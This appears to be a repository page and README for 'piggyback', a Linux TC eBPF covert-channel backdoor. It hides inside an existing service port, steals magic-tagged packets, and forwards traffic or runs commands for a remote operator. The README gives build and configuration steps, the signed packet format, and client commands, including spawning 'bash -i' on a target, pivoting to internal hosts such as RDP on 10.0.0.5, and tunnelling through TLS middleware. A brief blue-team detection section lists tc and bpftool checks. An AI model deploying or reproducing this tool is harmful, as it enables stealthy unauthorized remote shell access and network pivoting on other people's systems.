Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.
Go to file
Dominik Roth 50c9b4df35 piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison.
piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from
  getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED,
  TRUSTED_PUBKEY.

  pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0,
   sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header.

  README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the
  operator looks it up. Removed all the wrong advice about changing it.
2026-04-04 18:13:10 +02:00
Makefile initial commit 2026-04-04 18:03:43 +02:00
pb-client.c piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison. 2026-04-04 18:13:10 +02:00
piggyback.bpf.c piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison. 2026-04-04 18:13:10 +02:00
piggyback.c piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison. 2026-04-04 18:13:10 +02:00
README.md piggyback.bpf.c — back to single LISTEN_PORT, simplified port_watched() to one comparison. 2026-04-04 18:13:10 +02:00

piggyback

Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.

Mode 1 — Plain TCP
  Client                        Server (:80)
    │── TCP packet ────────────→ TC eBPF ingress
    │   [MAGIC][header]          magic match?
    │                              YES → TC_ACT_STOLEN → daemon
    │                              NO  → TC_ACT_OK → app (nginx etc.)

Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
  Client              Middleware (:443)       Server (:80)
    │── valid TLS ──→ │                         │
    │   [MAGIC]       │── [MAGIC][header] ─────→ TC eBPF ingress
    │   inside        │   (inner bytes fwd)     → same as Mode 1

Mode 2 is identical server-side. Client sends a real TLS handshake toward middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. Middleware decrypts and forwards inner bytes to the plain TCP backend.


Requirements

  • Linux 5.8+ (ring buffer + sk_lookup)
  • Root / CAP_NET_ADMIN + CAP_BPF
  • libbpf, clang, llvm, bpftool, libsodium, libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev

Configuration

Only two files need editing before compiling. Port must match in both.

piggyback.bpf.c

#define LISTEN_PORT 80   // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"  // keep in sync with pb-client.c

piggyback.c

#define IFACE        ""    // "" = auto-detect default-route interface
#define LISTEN_PORT  80    // must match piggyback.bpf.c
#define AUTH_ENABLED 0     // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... }  // 32-byte pubkey from `make keygen`

Forward target, action, and target port are not configured in the daemon — they come from the client packet. The daemon has no idea where to forward until a client tells it.


Build

make

Generate Ed25519 keypair (for authenticated mode)

make keygen
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key  → pass to pb-client with --key (never copy to target)

Usage

Server (target machine)

sudo ./piggyback

Client (operator machine)

# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222

# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com

# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389

# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'

# Then connect
ssh -p 2222 user@localhost

Full client options:

./pb-client <server_ip> <server_port> <local_port> [options]

  --mode tcp|tls        connection mode (default: tcp)
  --sni <hostname>      SNI for TLS — must match middleware virtual host config
  --key <path>          Ed25519 private key PEM (enables auth)
  --action forward|shell  (default: forward)
  --target <ip:port>    forward target on server side (default: 127.0.0.1:22)
  --cmd <command>       shell command for --action shell (default: bash)
  -v                    verbose

Auth flow (AUTH_ENABLED=1)

  1. make keygen — generate Ed25519 keypair
  2. Set TRUSTED_PUBKEY + AUTH_ENABLED=1 in piggyback.c, recompile daemon
  3. Pass --key engagement.key to pb-client (key stays on operator machine)
  4. Client sends: MAGIC (6) + 80-byte signed header
  5. Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
  6. On pass: executes action from header
  7. On fail: connection dropped silently

Signed header format (80 bytes after MAGIC):

[0..7]   unix timestamp, big-endian uint64
[8]      action (0x01=forward, 0x02=shell)
[9..12]  target IPv4
[13..14] target port big-endian
[15]     reserved
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)

Without --key: header still sent but timestamp=0 and sig=zeros. Daemon in no-auth mode reads action+target and skips signature verification.


Detection (Blue Team)

tc filter show dev eth0 ingress   # TC eBPF filters
bpftool prog list                  # all loaded eBPF programs
bpftool map list                   # eBPF maps (conn_state, pending, daemon_sock)

Baseline bpftool prog list on clean systems. Alert on new TC ingress programs on internet-facing interfaces.


Known Limitations

  • ACTION_FORWARD target is IPv4 only — header has 4 bytes for target IP
  • Replay ring is size-bounded — 256 entries, evicted by overwrite not expiry
  • sk_lookup may fail on some kernels — daemon logs a warning and falls back (works everywhere except strict NAT scenarios)